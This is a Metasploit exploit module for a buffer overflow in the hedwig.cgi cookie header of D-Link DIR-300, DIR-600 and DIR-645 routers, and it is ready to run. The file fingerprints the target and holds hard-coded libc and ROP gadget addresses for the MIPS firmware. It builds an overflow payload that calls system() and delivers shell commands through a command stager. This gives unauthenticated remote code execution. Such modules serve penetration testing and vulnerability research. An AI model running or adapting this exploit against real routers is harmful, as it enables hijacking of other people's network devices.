## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => 'D-Link hedwig.cgi Buffer Overflow in Cookie Header', 'Description' => %q{ This module exploits an anonymous remote code execution vulnerability on several D-Link routers. The vulnerability exists in the handling of HTTP queries to the hedwig.cgi with long value cookies. This module has been tested successfully on D-Link DIR300v2.14, DIR600 and the DIR645A1_FW103B11 firmware. }, 'Author' => [ 'Roberto Paleari', # Vulnerability discovery 'Craig Heffner', # also discovered the vulnerability / help with some parts of this exploit 'Michael Messner ', # Metasploit module and verification on several other routers ], 'License' => MSF_LICENSE, 'References' => [ ['OSVDB', '95950'], ['EDB', '27283'], ['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10008'], #advisory on vendor web site ['URL', 'http://www.dlink.com/us/en/home-solutions/connect/routers/dir-645-wireless-n-home-router-1000'], #vendor web site of router ['URL', 'http://roberto.greyhats.it/advisories/20130801-dlink-dir645.txt'] #original advisory ], 'Platform' => 'linux', 'Arch' => ARCH_MIPSLE, 'Targets' => [ [ 'Multiple Targets: D-Link DIR-645 v1.03, DIR-300 v2.14, DIR-600', { 'Offset' => 973, 'LibcBase' => 0x2aaf8000, # Router #'LibcBase' => 0x40854000, # QEMU environment 'System' => 0x000531FF, # address of system 'CalcSystem' => 0x000158C8, # calculate the correct address of system 'CallSystem' => 0x000159CC, # call our system } ] ], 'DisclosureDate' => 'Feb 08 2013', 'DefaultTarget' => 0)) deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') end def check begin res = send_request_cgi({ 'uri' => "/hedwig.cgi", 'method' => 'GET' }) if res && [200, 301, 302].include?(res.code) && res.body.to_s =~ /unsupported HTTP request/ return Exploit::CheckCode::Detected end rescue ::Rex::ConnectionError return Exploit::CheckCode::Unknown end Exploit::CheckCode::Unknown end def exploit print_status("Accessing the vulnerable URL...") unless check == Exploit::CheckCode::Detected fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL") end print_status("Exploiting...") execute_cmdstager( :flavor => :echo, :linemax => 200, :concat_operator => " && " ) end def prepare_shellcode(cmd) shellcode = rand_text_alpha_upper(target['Offset']) # padding shellcode << [target['LibcBase'] + target['System']].pack("V") # s0 - address of system shellcode << rand_text_alpha_upper(16) # unused reg $s1 - $s4 shellcode << [target['LibcBase'] + target['CallSystem']].pack("V") # s5 - second gadget (call system) # .text:000159CC 10 00 B5 27 addiu $s5, $sp, 0x170+var_160 # get the address of our command into $s5 # .text:000159D0 21 28 60 02 move $a1, $s3 # not used # .text:000159D4 21 30 20 02 move $a2, $s1 # not used # .text:000159D8 21 C8 00 02 move $t9, $s0 # $s0 - system # .text:000159DC 09 F8 20 03 jalr $t9 # call system # .text:000159E0 21 20 A0 02 move $a0, $s5 # our cmd -> into a0 as parameter for system shellcode << rand_text_alpha_upper(12) # unused registers $s6 - $fp shellcode << [target['LibcBase'] + target['CalcSystem']].pack("V") # $ra - gadget nr 1 (prepare the parameter for system) # .text:000158C8 21 C8 A0 02 move $t9, $s5 # s5 - our second gadget # .text:000158CC 09 F8 20 03 jalr $t9 # jump the second gadget # .text:000158D0 01 00 10 26 addiu $s0, 1 # s0 our system address - lets calculate the right address shellcode << rand_text_alpha_upper(16) # filler in front of our command shellcode << cmd end def execute_command(cmd, opts) shellcode = prepare_shellcode(cmd) begin res = send_request_cgi({ 'method' => 'POST', 'uri' => "/hedwig.cgi", 'cookie' => "uid=#{shellcode}", 'encode_params' => false, 'vars_post' => { rand_text_alpha(4) => rand_text_alpha(4) } }) return res rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") end end end